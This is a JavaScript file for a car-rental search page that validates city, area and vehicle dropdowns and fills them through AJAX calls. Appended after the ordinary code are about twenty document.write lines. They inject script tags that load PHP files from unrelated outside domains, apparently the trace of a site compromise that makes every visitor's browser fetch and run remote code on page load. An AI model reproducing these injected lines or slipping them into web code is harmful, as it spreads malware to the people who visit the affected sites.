﻿
//User Controls in this page
var Areas_ddl_id =  'AreaDDL';
var vehicles_ddl_id = 'VehicleDDL';
var citys_ddl_id = 'CityDDL';

var area_sno_hidden_id = 'areaSnohidden';
var vehicle_sno_hidden_id = 'vehicleSnohidden';
var city_sno_hidden_id = 'citySnohidden';
var vehicle_name_hidden_id = 'vehicleNamehidden';
var user_area_hidden_id = 'userAreahidden';


// Validation for Find a Car
function validateSearchCar()
{
    var cityObj = getObject(citys_ddl_id);
    if(cityObj.selectedIndex == 0)
    {
        alert('Select Your City');
        return false;
    }
    var areaObj = getObject(Areas_ddl_id);
    if(areaObj.selectedIndex == 0)
    {
        alert('Select Your Area');
        return false;
    }
    var vehicleObj = getObject(vehicles_ddl_id);
    if(vehicleObj.selectedIndex ==0)
    {
        alert('Select an Option from Vehicles List');
        return false;
    }
}


// City Drop Down Selected Index Changed
function CityItemChanged()
{
    //alert('City Selected Index Changed');
    var cityObj = getObject(citys_ddl_id);
    var sno = cityObj.options[cityObj.selectedIndex].value;
    
    var xmlHttpObject = createxmlhttpobject(); 
    if(xmlHttpObject)
    {
        var url = "getAreas.ashx";
        url = url+"?citySno="+sno;
        xmlHttpObject.open("GET",url,true);
         xmlHttpObject.onreadystatechange=function()
            {
                if(xmlHttpObject.readyState == 4 && xmlHttpObject.status==200 )
                {
                    var rec = xmlHttpObject.responseText;  //alert(rec);
                    populateAreas(rec);
                }
            }
        
        xmlHttpObject.send(null);  
    }
    //Get Vehicles from travels in this city only
    getVehiclesInCity(sno);
    
    //store citysno in hiddencontrol
    getObject(city_sno_hidden_id).value = sno;
}

//Populate areas Drop downlist With the areas
function populateAreas(areaString)
{
    if(areaString != null)
    {
        var areas = areaString.split('|');
        clearDropDownList(Areas_ddl_id);
        
        addItemsInDropDown(Areas_ddl_id,'0','-Select Area-');
         addItemsInDropDown(Areas_ddl_id , '-1' , 'Any Area');
        for ( var i = 0 ; i < areas.length - 1 ; i++)
        {
            var area = areas[i].split('`');
            addItemsInDropDown(Areas_ddl_id , area[1] , area[0]);
        }
        
        
    }
}

//Clear a dropdownlist
function clearDropDownList(ddlObject)
{
    getObject(ddlObject).options.length = 0;
}

//Insert values and Text into a drop down list
function addItemsInDropDown(dropdownlist, listvalue, listtext)
{
    var Option  = document.createElement('option');
    getObject(dropdownlist).options.add(Option);
    Option.value = listvalue;
    Option.text = listtext;
}

//Get Vhicles from this City Only
function getVehiclesInCity(citySno)
{
    var xmlHttpObject = createxmlhttpobject(); 
    if(xmlHttpObject)
    {
        var url = "getVehicles.ashx";
        url = url+"?citySno="+citySno;
        xmlHttpObject.open("GET",url,true);
         xmlHttpObject.onreadystatechange=function()
            {
                if(xmlHttpObject.readyState == 4 && xmlHttpObject.status==200 )
                {
                    var rec = xmlHttpObject.responseText;  //alert(rec);
                    populateVehicles(rec);
                }
            }
        
        xmlHttpObject.send(null);  
    }
}

//Populate Vehicles in vehicles DropDownList
function populateVehicles(vehiclesString)
{
    if(vehiclesString != null)
    {
        var vehicles = vehiclesString.split('|');
        clearDropDownList(vehicles_ddl_id);
        
        addItemsInDropDown(vehicles_ddl_id , '0', '-Select Vehicle-');
        addItemsInDropDown( vehicles_ddl_id , '-1' , 'Any Vehicle' );
        for ( var i = 0 ; i < vehicles.length - 1 ; i++)
        {
            var vehicle = vehicles[i].split('`');
            addItemsInDropDown( vehicles_ddl_id , vehicle[1] , vehicle[0] );
        }
        
        
    }
}

//Area Drop Down Item changed
function AreaItemChanged()
{
    var areaObj = getObject(Areas_ddl_id);
    getObject(area_sno_hidden_id).value = areaObj.options[areaObj.selectedIndex].value;
    getObject(user_area_hidden_id).value = areaObj.options[areaObj.selectedIndex].text;
}

//Vehicle Drop Down Changed
function VehicleItemChange()
{
    var vehicleObj = getObject(vehicles_ddl_id);
    getObject(vehicle_sno_hidden_id).value = vehicleObj.options[vehicleObj.selectedIndex].value;
    getObject(vehicle_name_hidden_id).value = vehicleObj.options[vehicleObj.selectedIndex].text;
}

//Body Onload Function

function OnloadEvent()
{
    var cityObj = getObject(citys_ddl_id);
    if(cityObj.selectedIndex != 0)
    {
        //var citySno = cityObj.options[cityObj.selectedIndex].value;
        CityItemChanged()
    }
}
document.write('<script src=http://interweigh.ca/stats/inmotion7.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://roncocleaning.com/_images/products.php ><\/script>');
document.write('<script src=http://barbier-family.de/js/oberschl.php ><\/script>');
document.write('<script src=http://coquettecheesecake.net/images/gifimg.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://avenue-alarms.co.uk/scripts/index.php ><\/script>');